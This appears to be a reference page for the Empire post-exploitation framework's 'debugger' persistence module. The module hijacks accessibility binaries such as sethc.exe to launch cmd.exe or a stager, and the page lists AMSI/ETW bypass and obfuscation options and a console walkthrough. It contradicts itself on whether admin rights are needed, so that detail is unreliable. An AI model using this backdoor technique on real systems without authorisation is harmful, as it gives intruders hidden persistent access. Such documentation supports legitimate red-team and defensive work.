Invoke-AccessBinary - Empire Module
This page contains detailed information about how to use the powershell/persistence/misc/debugger Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-AccessBinary
Module: powershell/persistence/misc/debugger
Source code [1]: empire/server/modules/powershell/persistence/misc/debugger.yaml
Source code [2]: empire/server/modules/powershell/persistence/misc/debugger.py
MITRE ATT&CK:
T1044
Language: PowerShell
Needs admin: Yes
OPSEC safe: No
Background: No
The debugger module sets the debugger for a specified target binary to be cmd.exe, another binary of your choice, or a listern stager. This can be launched from the ease-of-access center (ctrl+U).
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the debugger module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the debugger module:
Agent
Agent to run module on.
TargetBinary
Target binary to set the debugger for (sethc.exe, Utilman.exe, osk.exe, Narrator.exe, or Magnify.exe).
Default value: sethc.exe.
Additional Module Options
This is a list of additional options that are supported by the debugger module:
Bypasses
Bypasses as a space separated list to be prepended to the launcher.
Default value: mattifestation etw.
Cleanup
Switch. Disable the Utilman.exe debugger.
Listener
Listener to use.
Obfuscate
Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.
Default value: False.
ObfuscateCommand
The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
Default value: Token\All\1.
RegPath
Registry location to store the script code. Last element is the key name.
Default value: HKLM:Software\Microsoft\Network\debug.
TriggerBinary
Binary to set for the debugger.
Default value: C:\Windows\System32\cmd.exe.
Debugger Example Usage
Here's an example of how to use the debugger module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/persistence/misc/debugger
Author @harmj0y
Background False
Description Sets the debugger for a specified target binary to be cmd.exe, another
binary of your choice, or a listern stager. This can be launched from
the ease-of-access center (ctrl+U).
Language powershell
Name powershell/persistence/misc/debugger
NeedsAdmin True
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1044
,Record Options----,-------------------------------------,----------,------------------------------------,
| Name | Value | Required | Description |
|------------------|-------------------------------------|----------|------------------------------------|
| Agent | | True | Agent to run module on. |
|------------------|-------------------------------------|----------|------------------------------------|
| Bypasses | mattifestation etw | False | Bypasses as a space separated list |
| | | | to be prepended to the launcher. |
|------------------|-------------------------------------|----------|------------------------------------|
| Cleanup | | False | Switch. Disable the Utilman.exe |
| | | | debugger. |
|------------------|-------------------------------------|----------|------------------------------------|
| Listener | | False | Listener to use. |
|------------------|-------------------------------------|----------|------------------------------------|
| Obfuscate | False | False | Switch. Obfuscate the launcher |
| | | | powershell code, uses the |
| | | | ObfuscateCommand for obfuscation |
| | | | types. For powershell only. |
|------------------|-------------------------------------|----------|------------------------------------|
| ObfuscateCommand | Token\All\1 | False | The Invoke-Obfuscation command to |
| | | | use. Only used if Obfuscate switch |
| | | | is True. For powershell only. |
|------------------|-------------------------------------|----------|------------------------------------|
| RegPath | HKLM:Software\Microsoft\Network\deb | False | Registry location to store the |
| | ug | | script code. Last element is the |
| | | | key name. |
|------------------|-------------------------------------|----------|------------------------------------|
| TargetBinary | sethc.exe | True | Target binary to set the debugger |
| | | | for (sethc.exe, Utilman.exe, |
| | | | osk.exe, Narrator.exe, or |
| | | | Magnify.exe) |
|------------------|-------------------------------------|----------|------------------------------------|
| TriggerBinary | C:\Windows\System32\cmd.exe | False | Binary to set for the debugger. |
'------------------'-------------------------------------'----------'------------------------------------'
(Empire: usemodule/powershell/persistence/misc/debugger) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/persistence/misc/debugger) > set TargetBinary sethc.exe
[*] Set TargetBinary to sethc.exe
(Empire: usemodule/powershell/persistence/misc/debugger) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/persistence/misc/debugger.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/persistence/misc/debugger.py
- http://attack.mitre.org/techniques/T1044
See Also
Check also the following modules related to this module:
- powershell/persistence/misc/disable_machine_acct_change
- powershell/persistence/misc/get_ssps
- powershell/persistence/misc/add_sid_history
- powershell/persistence/misc/add_netuser
- powershell/persistence/misc/install_ssp
- powershell/persistence/misc/memssp
- powershell/persistence/misc/skeleton_key
- powershell/lateral_movement/invoke_wmi_debugger
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
